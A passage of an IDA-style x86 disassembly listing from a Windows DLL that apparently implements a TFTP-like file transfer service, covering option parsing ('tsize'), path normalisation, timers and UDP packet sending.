_stricmp pop ecx test eax, eax pop ecx jnz short loc_100251A mov edi, ebp or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx add ebp, 8 mov eax, ecx mov esi, edi mov edi, ebx push ebp ; Str shr ecx, 2 rep movsd mov ecx, eax add ebx, 8 and ecx, 3 rep movsb call ds:atoi ; atoi pop ecx mov ecx, [esp+10h+arg_0] push 1 pop edx cmp eax, edx mov [ecx+28h], eax jl loc_1002602 cmp eax, 0FFh jg loc_1002602 mov eax, [esp+10h+arg_14] mov edi, ebp or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, ebp jmp loc_10025A2 ; --------------------------------------------------------------------------- loc_100251A: ; CODE XREF: sub_10023D8+CCj push offset aTsize ; "tsize" push ebp ; Str1 call esi ; _stricmp pop ecx mov edi, ebp test eax, eax pop ecx jnz loc_10025B2 or edx, 0FFFFFFFFh xor eax, eax mov ecx, edx add ebp, 6 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx add ebx, 6 shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 cmp [esp+10h+arg_8], 2 rep movsb jnz short loc_100258D mov edi, ebp mov ecx, edx xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, ebp mov ecx, edx repne scasb not ecx dec ecx mov edi, ebp lea ebx, [ebx+ecx+1] mov ecx, edx jmp short loc_10025CB ; --------------------------------------------------------------------------- loc_100258D: ; CODE XREF: sub_10023D8+180j mov eax, [esp+10h+arg_0] push 0Ah ; Radix push ebx ; DstBuf push dword ptr [eax+24h] ; Val loc_1002597: ; CODE XREF: sub_10023D8+BBj call ds:_itoa ; _itoa add esp, 0Ch mov edi, ebx loc_10025A2: ; CODE XREF: sub_10023D8+13Dj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea ebx, [ebx+ecx+1] jmp short loc_10025C6 ; --------------------------------------------------------------------------- loc_10025B2: ; CODE XREF: sub_10023D8+150j or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp [ebp+ecx+1], al lea ebp, [ebp+ecx+1] jz short loc_10025E0 loc_10025C6: ; CODE XREF: sub_10023D8+B2j ; sub_10023D8+1D8j mov edi, ebp or ecx, 0FFFFFFFFh loc_10025CB: ; CODE XREF: sub_10023D8+1B3j xor eax, eax repne scasb not ecx dec ecx cmp [ebp+ecx+1], al lea ebp, [ebp+ecx+1] jnz loc_1002420 loc_10025E0: ; CODE XREF: sub_10023D8+1ECj mov esi, [esp+10h+arg_10] loc_10025E4: ; CODE XREF: sub_10023D8+42j mov eax, [esp+10h+arg_C] sub ebx, esi cmp ebx, 2 mov [eax], ebx jnz short loc_10025F4 and dword ptr [eax], 0 loc_10025F4: ; CODE XREF: sub_10023D8+217j xor eax, eax loc_10025F6: ; CODE XREF: sub_10023D8+244j pop edi pop esi pop ebp pop ebx retn 18h ; --------------------------------------------------------------------------- loc_10025FD: ; CODE XREF: sub_10023D8+91j ; sub_10023D8+9Cj push 0 push esi jmp short loc_1002606 ; --------------------------------------------------------------------------- loc_1002602: ; CODE XREF: sub_10023D8+105j ; sub_10023D8+110j push 0 ; int push 8 ; hostshort loc_1002606: ; CODE XREF: sub_10023D8+228j push dword ptr [ecx+8] ; s lea eax, [ecx+0FFF1h] add ecx, 0Ch push eax ; int push ecx ; to call sub_100230A or eax, 0FFFFFFFFh jmp short loc_10025F6 sub_10023D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100261E proc near ; CODE XREF: sub_1002F31+130p ; sub_100333A+150p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi mov al, [ebx] mov ecx, ebx mov esi, ebx mov [ebp+arg_0], ebx loc_1002630: ; CODE XREF: sub_100261E+22j test al, al jz short loc_1002642 cmp al, 5Ch jz short loc_100263C cmp al, 2Fh jnz short loc_1002642 loc_100263C: ; CODE XREF: sub_100261E+18j mov al, [ecx+1] inc ecx jmp short loc_1002630 ; --------------------------------------------------------------------------- loc_1002642: ; CODE XREF: sub_100261E+14j ; sub_100261E+1Cj ... mov al, [ecx] test al, al jz loc_10026E4 cmp al, 2Eh jnz loc_100271C mov dl, [ecx+1] lea edi, [ecx+1] cmp dl, 5Ch jz loc_1002718 cmp dl, 2Fh jz loc_1002718 cmp dl, al jnz loc_1002703 mov dl, [ecx+2] lea edi, [ecx+2] cmp dl, 5Ch jz short loc_1002684 cmp dl, 2Fh jnz short loc_1002703 loc_1002684: ; CODE XREF: sub_100261E+5Fj dec esi mov ecx, edi dec esi cmp esi, ebx jbe short loc_10026E0 loc_100268C: ; CODE XREF: sub_100261E+7Bj mov al, [esi] cmp al, 5Ch jz short loc_100269B cmp al, 2Fh jz short loc_100269B dec esi cmp esi, ebx jnb short loc_100268C loc_100269B: ; CODE XREF: sub_100261E+72j ; sub_100261E+76j inc esi loc_100269C: ; CODE XREF: sub_100261E+8Ej ; sub_100261E+EEj ... cmp esi, [ebp+arg_0] jbe short loc_10026AE cmp byte ptr [esi-1], 20h lea eax, [esi-1] jnz short loc_10026AE mov esi, eax jmp short loc_100269C ; --------------------------------------------------------------------------- loc_10026AE: ; CODE XREF: sub_100261E+81j ; sub_100261E+8Aj mov al, [ecx] cmp al, 5Ch jz short loc_10026B8 cmp al, 2Fh jnz short loc_1002642 loc_10026B8: ; CODE XREF: sub_100261E+94j cmp esi, ebx jz short loc_10026CB mov al, [esi-1] cmp al, 5Ch jz short loc_10026CB cmp al, 2Fh jz short loc_10026CB mov byte ptr [esi], 5Ch inc esi loc_10026CB: ; CODE XREF: sub_100261E+9Cj ; sub_100261E+A3j ... inc ecx jz short loc_10026D8 mov al, [ecx] cmp al, 5Ch jz short loc_10026CB cmp al, 2Fh jz short loc_10026CB loc_10026D8: ; CODE XREF: sub_100261E+AEj mov [ebp+arg_0], esi jmp loc_1002642 ; --------------------------------------------------------------------------- loc_10026E0: ; CODE XREF: sub_100261E+6Cj xor eax, eax jmp short loc_10026FC ; --------------------------------------------------------------------------- loc_10026E4: ; CODE XREF: sub_100261E+28j mov cl, [esi-1] lea eax, [esi-1] cmp cl, 5Ch jz short loc_10026F4 cmp cl, 2Fh jnz short loc_10026F6 loc_10026F4: ; CODE XREF: sub_100261E+CFj mov esi, eax loc_10026F6: ; CODE XREF: sub_100261E+D4j and byte ptr [esi], 0 push 1 pop eax loc_10026FC: ; CODE XREF: sub_100261E+C4j pop edi pop esi pop ebx pop ebp retn 4 ; --------------------------------------------------------------------------- loc_1002703: ; CODE XREF: sub_100261E+50j ; sub_100261E+64j ... mov [esi], al mov al, [ecx+1] inc esi inc ecx test al, al jz short loc_100269C cmp al, 5Ch jz short loc_100269C cmp al, 2Fh jnz short loc_1002703 jmp short loc_100269C ; --------------------------------------------------------------------------- loc_1002718: ; CODE XREF: sub_100261E+3Fj ; sub_100261E+48j mov ecx, edi jmp short loc_100269C ; --------------------------------------------------------------------------- loc_100271C: ; CODE XREF: sub_100261E+30j ; sub_100261E+11Dj test al, al jz loc_100269C cmp al, 5Ch jz loc_100269C cmp al, 2Fh jz loc_100269C mov [esi], al mov al, [ecx+1] inc esi inc ecx jmp short loc_100271C sub_100261E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100273D(void *Src, int, int) sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp ; sub_100333A+197p Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov edx, [ebp+Src] repne scasb not ecx dec ecx mov edi, edx mov ebx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp byte ptr [ebx+esi-1], 5Ch mov edi, ecx setz al xor ecx, ecx cmp byte ptr [edx], 5Ch setz cl test eax, eax jnz short loc_1002784 test ecx, ecx jnz short loc_1002784 mov [ebp+arg_8], 1 jmp short loc_1002791 ; --------------------------------------------------------------------------- loc_1002784: ; CODE XREF: sub_100273D+38j ; sub_100273D+3Cj and [ebp+arg_8], 0 test eax, eax jz short loc_1002791 test ecx, ecx jz short loc_1002791 dec ebx loc_1002791: ; CODE XREF: sub_100273D+45j ; sub_100273D+4Dj ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_4] add eax, edi add eax, ebx dec ecx cmp eax, ecx jbe short loc_10027A4 xor eax, eax jmp short loc_10027DA ; --------------------------------------------------------------------------- loc_10027A4: ; CODE XREF: sub_100273D+61j mov eax, [ebp+arg_8] inc edi add eax, ebx push edi ; Size add eax, edx push edx ; Src push eax ; Dst call ds:memmove ; memmove mov eax, [ebp+Src] mov ecx, ebx mov edx, ecx mov edi, eax shr ecx, 2 rep movsd mov ecx, edx add esp, 0Ch and ecx, 3 cmp [ebp+arg_8], 0 rep movsb jz short loc_10027D7 mov byte ptr [ebx+eax], 5Ch loc_10027D7: ; CODE XREF: sub_100273D+94j push 1 pop eax loc_10027DA: ; CODE XREF: sub_100273D+65j pop edi pop esi pop ebx pop ebp retn 0Ch sub_100273D endp ; =============== S U B R O U T I N E ======================================= sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p ; sub_1002F31+36Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov ecx, [esi+10024h] lea eax, [esi+10024h] test ecx, ecx jz short loc_1002817 and dword ptr [eax], 0 mov eax, [esp+8+arg_4] and word ptr [esi+10014h], 0 mov [esi+10020h], ecx mov eax, [eax+20h] mov [esi+1001Ch], eax jmp short loc_1002877 ; --------------------------------------------------------------------------- loc_1002817: ; CODE XREF: sub_10027E1+14j mov edi, ds:htons push 3 ; hostshort call edi ; htons mov [esi+38h], ax mov ax, [esi+10014h] push eax ; hostshort call edi ; htons mov [esi+3Ah], ax mov eax, [esp+8+arg_4] push dword ptr [eax+20h] lea eax, [esi+3Ch] push eax push dword ptr [esi+1002Ch] call ds:_read ; _read add esp, 0Ch cmp eax, 0FFFFFFFFh mov [esi+1001Ch], eax jnz short loc_100286E mov esi, ds:_errno call esi ; _errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError xor eax, eax jmp short loc_100287A ; --------------------------------------------------------------------------- loc_100286E: ; CODE XREF: sub_10027E1+75j add eax, 4 mov [esi+10020h], eax loc_1002877: ; CODE XREF: sub_10027E1+34j push 1 pop eax loc_100287A: ; CODE XREF: sub_10027E1+8Bj pop edi pop esi retn 8 sub_10027E1 endp ; =============== S U B R O U T I N E ======================================= sub_100287F proc near ; CODE XREF: sub_1002F31+2C6p ; sub_100333A+2CDp arg_0 = dword ptr 4 push esi mov esi, offset CriticalSection push esi ; lpCriticalSection call ds:EnterCriticalSection mov ecx, dword_1006098 push esi ; lpCriticalSection mov eax, [esp+8+arg_0] mov [eax], ecx mov dword ptr [eax+4], offset dword_1006098 mov [ecx+4], eax mov dword_1006098, eax call ds:LeaveCriticalSection push 1 pop eax pop esi retn 4 sub_100287F endp ; =============== S U B R O U T I N E ======================================= sub_10028B5 proc near ; CODE XREF: sub_1002A3D+Cp ; sub_1002EC8+8p ... arg_0 = dword ptr 4 push ebx mov ebx, ds:EnterCriticalSection push esi push edi mov edi, offset CriticalSection push edi ; lpCriticalSection call ebx ; EnterCriticalSection mov eax, dword_1006098 mov ecx, offset dword_1006098 loc_10028D0: ; CODE XREF: sub_10028B5+2Dj cmp eax, ecx jz short loc_10028F2 mov edx, [eax+8] lea esi, [eax-18h] cmp edx, [esp+0Ch+arg_0] jz short loc_10028E4 mov eax, [eax] jmp short loc_10028D0 ; --------------------------------------------------------------------------- loc_10028E4: ; CODE XREF: sub_10028B5+29j push esi ; lpCriticalSection call ebx ; EnterCriticalSection push edi ; lpCriticalSection call ds:LeaveCriticalSection mov eax, esi jmp short loc_10028FB ; --------------------------------------------------------------------------- loc_10028F2: ; CODE XREF: sub_10028B5+1Dj push edi ; lpCriticalSection call ds:LeaveCriticalSection xor eax, eax loc_10028FB: ; CODE XREF: sub_10028B5+3Bj pop edi pop esi pop ebx retn 4 sub_10028B5 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002901(LPCRITICAL_SECTION lpCriticalSection) sub_1002901 proc near ; CODE XREF: sub_100297A+Ap lpCriticalSection= dword ptr 4 push esi mov esi, [esp+4+lpCriticalSection] mov eax, [esi+20h] cmp eax, 0FFFFFFFFh jz short loc_1002915 push eax ; s call ds:closesocket ; closesocket loc_1002915: ; CODE XREF: sub_1002901+Bj mov eax, [esi+10004h] test eax, eax jz short loc_100292E push 0 push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_100292E: ; CODE XREF: sub_1002901+1Cj push 0 push dword ptr [esi+0FFFCh] call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx push dword ptr [esi+0FFF8h] ; hObject call ds:CloseHandle ; CloseHandle push esi ; lpCriticalSection call ds:DeleteCriticalSection pop esi retn 4 sub_1002901 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002953(void *Memory) sub_1002953 proc near ; CODE XREF: sub_100297A+2Fp ; sub_100297A+37p Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] mov eax, [esi+1002Ch] cmp eax, 0FFFFFFFFh jz short loc_100296B push eax call ds:_close ; _close pop ecx loc_100296B: ; CODE XREF: sub_1002953+Ej push esi ; Memory call ds:free ; free pop ecx pop esi retn 4 sub_1002953 endp ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_100297A(LPCRITICAL_SECTION Memory) sub_100297A proc near ; CODE XREF: sub_10029BA+55p Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] test esi, esi jz short loc_10029B6 push esi ; lpCriticalSection call sub_1002901 mov eax, [esi+24h] dec eax jz short loc_10029B0 dec eax jz short loc_10029A8 dec eax jz short loc_10029A0 dec eax jnz short loc_10029B6 push esi call nullsub_1 jmp short loc_10029B6 ; --------------------------------------------------------------------------- loc_10029A0: ; CODE XREF: sub_100297A+19j push esi call nullsub_1 jmp short loc_10029B6 ; --------------------------------------------------------------------------- loc_10029A8: ; CODE XREF: sub_100297A+16j push esi ; Memory call sub_1002953 jmp short loc_10029B6 ; --------------------------------------------------------------------------- loc_10029B0: ; CODE XREF: sub_100297A+13j push esi ; Memory call sub_1002953 loc_10029B6: ; CODE XREF: sub_100297A+7j ; sub_100297A+1Cj ... pop esi retn 4 sub_100297A endp ; =============== S U B R O U T I N E ======================================= sub_10029BA proc near ; DATA XREF: sub_10018DB+98o push ebx mov ebx, ds:EnterCriticalSection push esi push offset CriticalSection ; lpCriticalSection call ebx ; EnterCriticalSection mov esi, dword_1006098 cmp esi, offset dword_1006098 jz short loc_1002A28 push edi push ebp loc_10029D9: ; CODE XREF: sub_10029BA+6Aj lea edi, [esi-18h] push edi ; lpCriticalSection call ebx ; EnterCriticalSection mov ebp, [esi] inc dword ptr [edi+10008h] cmp dword ptr [edi+10008h], 4 lea eax, [edi+10008h] push edi ; lpCriticalSection jb short loc_1002A16 call ebx ; EnterCriticalSection mov eax, [esi] mov esi, [esi+4] mov [esi], eax mov [eax+4], esi mov ax, [edi+2Ah] push eax ; hostshort call ds:htons ; htons push edi ; Memory call sub_100297A jmp short loc_1002A1C ; --------------------------------------------------------------------------- loc_1002A16: ; CODE XREF: sub_10029BA+3Bj call ds:LeaveCriticalSection loc_1002A1C: ; CODE XREF: sub_10029BA+5Aj cmp ebp, offset dword_1006098 mov esi, ebp jnz short loc_10029D9 pop ebp pop edi loc_1002A28: ; CODE XREF: sub_10029BA+1Bj push offset CriticalSection ; lpCriticalSection call ds:LeaveCriticalSection call sub_1001A1F pop esi pop ebx retn 8 sub_10029BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1002A3D proc near ; DATA XREF: sub_1002F31+341o ; sub_100333A+32Co SystemTime = _SYSTEMTIME ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push [ebp+arg_0] call sub_10028B5 mov esi, eax xor ebx, ebx cmp esi, ebx jz loc_1002B57 mov eax, [esi+1000Ch] cmp eax, 0Ah jnb loc_1002B0B cmp eax, 5 jbe short loc_1002A8E lea eax, [ebp+SystemTime] push eax ; lpSystemTime call ds:GetLocalTime ; GetLocalTime mov ax, [esi+2Ah] push eax ; netshort call ds:ntohs ; ntohs mov ax, [esi+3Ah] push eax ; hostshort call ds:htons ; htons loc_1002A8E: ; CODE XREF: sub_1002A3D+2Fj lea eax, [esi+28h] push 10h ; tolen push eax ; to push ebx ; flags push dword ptr [esi+10020h] ; len lea eax, [esi+38h] push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz short loc_1002AB3 call ds:WSAGetLastError ; WSAGetLastError loc_1002AB3: ; CODE XREF: sub_1002A3D+6Ej mov edi, [esi+10004h] inc dword ptr [esi+1000Ch] cmp edi, ebx jz loc_1002B4C cmp [esi+10028h], ebx jnz short loc_1002AEA mov eax, [esi+10000h] lea ecx, [esi+10000h] shl eax, 1 mov edx, 2710h mov [ecx], eax cmp eax, edx jbe short loc_1002AEA mov [ecx], edx loc_1002AEA: ; CODE XREF: sub_1002A3D+90j ; sub_1002A3D+A9j mov eax, [esi+10000h] push eax push eax push edi push dword_10060A0 call ds:RtlUpdateTimer ; RtlUpdateTimer cmp eax, ebx jz short loc_1002B4C call ds:GetLastError jmp short loc_1002B4C ; --------------------------------------------------------------------------- loc_1002B0B: ; CODE XREF: sub_1002A3D+26j cmp esi, ebx jz short loc_1002B57 push offset aTimeout ; "Timeout" push ebx ; hostshort push dword ptr [esi+20h] ; s lea eax, [esi+28h] push ebx ; int push eax ; to call sub_100230A mov eax, [esi+10004h] lea edi, [esi+10004h] cmp eax, ebx jz short loc_1002B40 push ebx push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_1002B40: ; CODE XREF: sub_1002A3D+F3j mov [edi], ebx mov dword ptr [esi+10008h], 4 loc_1002B4C: ; CODE XREF: sub_1002A3D+84j ; sub_1002A3D+C4j ... cmp esi, ebx jz short loc_1002B57 push esi ; lpCriticalSection call ds:LeaveCriticalSection loc_1002B57: ; CODE XREF: sub_1002A3D+17j ; sub_1002A3D+D0j ... pop edi pop esi pop ebx leave retn 8 sub_1002A3D endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002B5E(LPCRITICAL_SECTION lpCriticalSection, int) sub_1002B5E proc near ; CODE XREF: sub_1002EC8+3Dp var_4 = dword ptr -4 lpCriticalSection= dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx mov ebx, ds:ntohs push ebp push esi mov esi, [esp+10h+lpCriticalSection] push edi mov edi, [esp+14h+arg_4] xor ebp, ebp mov eax, [esi+10018h] push 4 ; netshort mov [esp+18h+var_4], ebp mov [edi+20h], eax call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002BA6 mov ax, [esi+10014h] push eax ; netshort call ebx ; ntohs cmp [edi+36h], ax jnz short loc_1002BA6 and dword ptr [esi+1000Ch], 0 push 1 pop ebp jmp short loc_1002BCE ; --------------------------------------------------------------------------- loc_1002BA6: ; CODE XREF: sub_1002B5E+2Aj ; sub_1002B5E+3Aj mov ax, [edi+36h] push eax ; netshort call ebx ; ntohs mov ax, [edi+34h] push eax ; hostshort call ds:htons ; htons push 4 ; netshort call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002BCE mov ax, [esi+10014h] dec ax push eax ; netshort call ebx ; ntohs loc_1002BCE: ; CODE XREF: sub_1002B5E+46j ; sub_1002B5E+62j test ebp, ebp jz loc_1002C96 cmp dword ptr [esi+10030h], 0 jz short loc_1002C1C mov eax, [esi+10004h] lea edi, [esi+10004h] test eax, eax jz short loc_1002BFE push 0 push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_1002BFE: ; CODE XREF: sub_1002B5E+8Fj and dword ptr [edi], 0 mov dword ptr [esi+10008h], 4 loc_1002C0B: ; CODE XREF: sub_1002B5E+DBj ; sub_1002B5E+13Ej ... push esi ; lpCriticalSection call ds:LeaveCriticalSection xor eax, eax loc_1002C14: ; CODE XREF: sub_1002B5E+183j pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_1002C1C: ; CODE XREF: sub_1002B5E+7Fj inc word ptr [esi+10014h] push edi push esi call sub_10027E1 mov ebp, eax xor eax, eax cmp ebp, eax jnz short loc_1002C3B mov ax, [edi+0Eh] push eax ; netshort call ebx ; ntohs jmp short loc_1002C0B ; --------------------------------------------------------------------------- loc_1002C3B: ; CODE XREF: sub_1002B5E+D2j cmp [esi+10028h], eax mov [esi+1000Ch], eax mov [esi+10008h], eax jnz short loc_1002C59 mov dword ptr [esi+10000h], 3E8h loc_1002C59: ; CODE XREF: sub_1002B5E+EFj mov ecx, [esi+10004h] cmp ecx, eax jz short loc_1002C78 mov eax, [esi+10000h] push eax push eax push ecx push dword_10060A0 call ds:RtlUpdateTimer ; RtlUpdateTimer loc_1002C78: ; CODE XREF: sub_1002B5E+103j mov eax, [esi+1001Ch] cmp eax, [edi+20h] jnb short loc_1002C9A mov ax, [edi+0Eh] push eax ; netshort call ebx ; ntohs mov dword ptr [esi+10030h], 1 jmp short loc_1002C9A ; --------------------------------------------------------------------------- loc_1002C96: ; CODE XREF: sub_1002B5E+72j mov ebp, [esp+14h+var_4] loc_1002C9A: ; CODE XREF: sub_1002B5E+123j ; sub_1002B5E+136j test ebp, ebp jz loc_1002C0B mov ax, [edi+0Eh] push eax ; netshort call ebx ; ntohs add edi, 0Ch push 10h ; tolen push edi ; to push 0 ; flags push dword ptr [esi+10020h] ; len lea eax, [esi+38h] push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz loc_1002C0B call ds:WSAGetLastError ; WSAGetLastError test esi, esi jz short loc_1002CDE push esi ; lpCriticalSection call ds:LeaveCriticalSection loc_1002CDE: ; CODE XREF: sub_1002B5E+177j push 1 pop eax jmp loc_1002C14 sub_1002B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_1002CE6(LPCRITICAL_SECTION lpCriticalSection, int) sub_1002CE6 proc near ; CODE XREF: sub_1002EC8+34p var_4 = dword ptr -4 lpCriticalSection= dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, ds:ntohs push esi mov esi, [ebp+lpCriticalSection] push edi mov edi, [ebp+arg_4] push 3 ; netshort mov eax, [esi+10018h] mov [edi+20h], eax call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002D3A mov ax, [esi+10014h] inc ax push eax ; netshort call ebx ; ntohs cmp [edi+36h], ax jnz short loc_1002D3A inc word ptr [esi+10014h] xor ebx, ebx mov [ebp+var_4], 1 mov [esi+10008h], ebx jmp short loc_1002D9D ; --------------------------------------------------------------------------- loc_1002D3A: ; CODE XREF: sub_1002CE6+28j ; sub_1002CE6+3Aj push 3 ; netshort call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002D9B mov ax, [esi+10014h] push eax ; netshort call ebx ; ntohs cmp [edi+36h], ax jnz short loc_1002D9B mov ebx, ds:htons push 4 ; hostshort call ebx ; htons mov [esi+38h], ax mov ax, [esi+10014h] push eax ; hostshort call ebx ; htons add edi, 0Ch push 10h ; tolen mov [esi+3Ah], ax push edi ; to push 0 ; flags lea eax, [esi+38h] push 4 ; len push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz loc_1002EB3 call ds:WSAGetLastError ; WSAGetLastError jmp loc_1002EB3 ; --------------------------------------------------------------------------- loc_1002D9B: ; CODE XREF: sub_1002CE6+5Cj ; sub_1002CE6+6Cj xor ebx, ebx loc_1002D9D: ; CODE XREF: sub_1002CE6+52j cmp [ebp+var_4], ebx jz short loc_1002DE4 lea eax, [ebp+arg_4] push eax mov eax, [edi+2Ch] push dword ptr [esi+10030h] sub eax, 4 push eax lea eax, [edi+38h] push eax push dword ptr [esi+1002Ch] call sub_100373A cmp [ebp+var_4], ebx mov [ebp+lpCriticalSection], eax jz short loc_1002DE4 cmp eax, ebx jge short loc_1002DF7 push ebx ; int push 3 ; hostshort push dword ptr [edi+8] ; s lea eax, [edi+0FFF1h] add edi, 0Ch push eax ; int push edi ; to call sub_100230A loc_1002DE4: ; CODE XREF: sub_1002CE6+BAj ; sub_1002CE6+E2j cmp esi, ebx jz short loc_1002DEF push esi ; lpCriticalSection call ds:LeaveCriticalSection loc_1002DEF: ; CODE XREF: sub_1002CE6+100j push 1 pop eax jmp loc_1002EBC ; --------------------------------------------------------------------------- loc_1002DF7: ; CODE XREF: sub_1002CE6+E6j mov eax, [edi+2Ch] sub eax, 4 cmp eax, [edi+20h] ja loc_1002EB3 mov ebx, ds:htons push 4 ; hostshort call ebx ; htons mov [esi+38h], ax mov ax, [esi+10014h] push eax ; hostshort call ebx ; htons mov [esi+3Ah], ax lea eax, [edi+0Ch] push 10h ; tolen xor ebx, ebx push eax ; to push ebx ; flags lea eax, [esi+38h] push 4 ; len push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto mov [ebp+lpCriticalSection], eax mov eax, [esi+10004h] cmp eax, ebx jz short loc_1002E74 cmp [esi+10028h], ebx mov [esi+1000Ch], ebx jnz short loc_1002E5F mov dword ptr [esi+10000h], 3E8h loc_1002E5F: ; CODE XREF: sub_1002CE6+16Dj mov ecx, [esi+10000h] push ecx push ecx push eax push dword_10060A0 call ds:RtlUpdateTimer ; RtlUpdateTimer loc_1002E74: ; CODE XREF: sub_1002CE6+15Fj cmp [ebp+lpCriticalSection], 0FFFFFFFFh jnz short loc_1002E80 call ds:WSAGetLastError ; WSAGetLastError loc_1002E80: ; CODE XREF: sub_1002CE6+192j mov eax, [edi+2Ch] sub eax, 4 cmp eax, [edi+20h] jnb short loc_1002EB3 mov eax, [esi+10004h] cmp eax, ebx jz short loc_1002EA3 push ebx push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_1002EA3: ; CODE XREF: sub_1002CE6+1ADj mov [esi+10004h], ebx mov dword ptr [esi+10008h], 4 loc_1002EB3: ; CODE XREF: sub_1002CE6+A4j ; sub_1002CE6+B0j ... push esi ; lpCriticalSection call ds:LeaveCriticalSection xor eax, eax loc_1002EBC: ; CODE XREF: sub_1002CE6+10Cj pop edi pop esi pop ebx leave retn 8 sub_1002CE6 endp ; =============== S U B R O U T I N E ======================================= sub_1002EC3 proc near ; CODE XREF: sub_1002EC8+22p ; sub_1002EC8+2Bp xor eax, eax retn 8 sub_1002EC3 endp ; =============== S U B R O U T I N E ======================================= sub_1002EC8 proc near ; CODE XREF: sub_1001A91+254p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+8] call sub_10028B5 test eax, eax jz short loc_1002F0A mov ecx, [eax+24h] dec ecx jz short loc_1002F03 dec ecx jz short loc_1002EFA dec ecx jz short loc_1002EF1 dec ecx jnz short loc_1002F0A push esi push eax call sub_1002EC3 jmp short loc_1002F0A ; --------------------------------------------------------------------------- loc_1002EF1: ; CODE XREF: sub_1002EC8+1Bj push esi push eax call sub_1002EC3 jmp short loc_1002F0A ; --------------------------------------------------------------------------- loc_1002EFA: ; CODE XREF: sub_1002EC8+18j push esi ; int push eax ; lpCriticalSection call sub_1002CE6 jmp short loc_1002F0A ; --------------------------------------------------------------------------- loc_1002F03: ; CODE XREF: sub_1002EC8+15j push esi ; int push eax ; lpCriticalSection call sub_1002B5E loc_1002F0A: ; CODE XREF: sub_1002EC8+Fj ; sub_1002EC8+1Ej ... pop esi retn 4 sub_1002EC8 endp ; =============== S U B R O U T I N E ======================================= sub_1002F0E proc near ; CODE XREF: sub_1002F31+20p ; sub_100333A+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax cmp [esp+arg_4], eax jbe short loc_1002F27 loc_1002F16: ; CODE XREF: sub_1002F0E+17j mov ecx, [esp+arg_0] cmp byte ptr [eax+ecx], 0 jz short loc_1002F2C inc eax cmp eax, [esp+arg_4] jb short loc_1002F16 loc_1002F27: ; CODE XREF: sub_1002F0E+6j xor eax, eax locret_1002F29: ; CODE XREF: sub_1002F0E+21j retn 8 ; --------------------------------------------------------------------------- loc_1002F2C: ; CODE XREF: sub_1002F0E+10j push 1 pop eax jmp short locret_1002F29 sub_1002F0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1002F31 proc near ; CODE XREF: sub_1001A91+223p ; DATA XREF: sub_1001A91+1FCo name = sockaddr ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch to = dword ptr -8 Src = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx and [ebp+var_10], 0 and [ebp+var_14], 0 push esi mov esi, [ebp+arg_0] push edi push 0FFBAh lea ebx, [esi+36h] push ebx mov [ebp+var_18], ebx call sub_1002F0E test eax, eax jz loc_100330F mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax push 10034h ; Size repne scasb not ecx dec ecx lea eax, [ecx+ebx+1] mov 